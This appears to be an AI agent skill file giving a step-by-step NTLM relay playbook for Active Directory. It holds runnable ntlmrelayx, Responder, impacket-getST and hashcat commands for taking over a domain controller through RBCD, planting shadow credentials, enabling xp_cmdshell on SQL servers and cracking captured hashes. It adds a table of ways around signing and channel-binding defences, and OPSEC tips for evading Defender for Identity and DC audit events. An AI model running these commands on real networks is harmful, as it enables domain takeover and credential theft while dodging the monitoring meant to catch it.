AGENT SKILL

ad-ntlm-relay

NTLM relay deep-dive — `ntlmrelayx` configuration matrix (SMB, LDAP, LDAPS, HTTP, RPC, IMAP, MSSQL), SMB-signing bypass, target selection (DC for DCSync, ADCS for cert, LAPS reader for cleartext), session relay vs cracking trade-off, multi-relay (forward auth from one victim to many).

License 许可
Apache-2.0
所属仓库
Akapi895/raptix
最近更新
2026-11-06
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01 前言 Front Matter

name
ad-ntlm-relay
metadata
{ "tags": "ad, ntlm-relay, mitm, impacket", "fanout": { "notes": "relaying rewrites authentication state on the target and the relayed listener holds one victim at a time; serialize relay runs", "effects": "mutate", "resources": [ "account:*", "host:*" ], "parallel_safe": false }, "subdomain": "ad", "when_to_use": "ntlm relay ntlmrelayx smb signing ldap ldaps adcs mssql relay multi-relay impacket", "mitre_attack": "T1557.001, T1550.002" }
description
NTLM relay deep-dive — `ntlmrelayx` configuration matrix (SMB, LDAP, LDAPS, HTTP, RPC, IMAP, MSSQL), SMB-signing bypass, target selection (DC for DCSync, ADCS for cert, LAPS reader for cleartext), session relay vs cracking trade-off, multi-relay (forward auth from one victim to many).
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03 SKILL.md 正文

NTLM Relay Deep Dive

You've got NTLM authentication arriving at attacker (via Responder, ARP poison, coercion, mDNS, WPAD). Relay it to a target that grants you something useful.

Target selection matrix

Target protocol Outcome Requires
LDAP / LDAPS to a DC Add user to Domain Admins, RBCD, modify ACL Victim is local admin OR LDAPS allows signing
SMB to a workstation Code exec on that workstation SMB signing OFF on target (servers often have it ON)
HTTP /certsrv/ (ADCS) Cert for victim — auth as them ADCS Web Enrollment enabled
MSSQL Database access; xp_cmdshell if linked Victim has DB privs
IMAP (Exchange) Mailbox access Victim has mailbox
HTTP /EWS (Exchange) Mailbox + autodiscover EWS reachable
LDAPS to DC for shadow creds Set msDS-KeyCredentialLink on a victim LDAPS + WriteProperty

SMB signing — the key constraint

Target Default SMB signing
DC REQUIRED (signing on, must verify) — can't relay SMB to DC
Domain workstations NOT REQUIRED (off by default) — can relay
File servers usually REQUIRED
Linux Samba varies

Check with crackmapexec smb <target_subnet> --gen-relay-list relays.txt — gives you the list of targets where SMB signing is OFF.

Most useful chains

Coerce → relay to LDAP → RBCD attack

# Listener
sudo impacket-ntlmrelayx -t ldap://dc.target.local --delegate-access --escalate-user 'lowpriv'
# Now coerce DC$ (see ad-coercer skill)
# ntlmrelayx auto-adds attacker computer to msDS-AllowedToActOnBehalfOfOtherIdentity
# Then S4U2Proxy yourself onto the DC:
impacket-getST -spn 'cifs/dc.target.local' -impersonate Administrator 'target.local/lowpriv:pass'
# → TGS as Administrator for cifs on the DC — full takeover

Coerce → relay to ADCS → DA cert

See ad-certipy-esc-chain skill — chain ends with certipy auth → krbtgt.

Responder → relay to LDAP for Shadow Credentials

sudo responder -I eth0 -wd
# Catch broadcast LLMNR / NBT-NS / mDNS
# Then:
sudo impacket-ntlmrelayx -t ldaps://dc.target.local --shadow-credentials --shadow-target victim
# Adds a KeyCredentialLink to 'victim'; then auth as victim via certipy

Relay to MSSQL — pivot via xp_cmdshell

sudo impacket-ntlmrelayx -t mssql://sqlserver.target.local -smb2support
# When relayed:
[ntlmrelayx] EXEC AS LOGIN sa: SUCCEED
[ntlmrelayx] Enabling xp_cmdshell on target
[ntlmrelayx] xp_cmdshell SUCCEED: id of nt service\mssqlserver

Multi-relay — fan-out one auth to many targets

# -tf file_of_targets: relay to each in turn
sudo impacket-ntlmrelayx -tf relays.txt -smb2support
# crackmapexec --gen-relay-list builds the relays.txt file (SMB-signing-OFF hosts)

When to crack instead of relay

If the auth is NetNTLMv2 (came from SMB1/SMB2, HTTP, etc.):

# Save the captured hash
# Responder writes to /usr/share/responder/logs/Responder-Session.log
hashcat -m 5600 hash.txt rockyou.txt -r best64.rule
# m=5600 → NetNTLMv2 cracking; works well on rockyou+rules

Relay is BETTER when:

  • You don't have time to crack (operationally bounded engagement)
  • The hash is from a service account / computer account (uncrackable)
  • The target requires the actual session (e.g., LDAPS, signed SMB)

Crack is BETTER when:

  • You want offline persistence (don't need to be on the wire)
  • The credentials are reusable across services
  • Auth was from a normal user with a weak password

Signing-required mitigations and bypasses

Defense Bypass
SMB signing required on target Relay to NON-SMB target (LDAP, HTTP, MSSQL)
LDAP channel binding Relay to LDAPS instead (different binding rules)
Extended Protection for Authentication (EPA) Relay to a service that doesn't enforce EPA (older Exchange, etc.)
MS16-075 ("hot potato" SMB→SMB block) Cross-protocol relay works around it

OPSEC

  • Coercion is the LOUDEST step. Use unauthenticated PetitPotam variants where possible.
  • LDAP relay creates events 4662 (object access) and 5136 (directory modify) on the DC — distinctive when DC$ modifies its own attributes via NTLM auth.
  • MDI (Defender for Identity) flags NTLM relay via the source-vs-destination IP mismatch heuristic. Use a network position physically close to the victim to minimize the geographical jump.

References

04 同仓库更多 Skills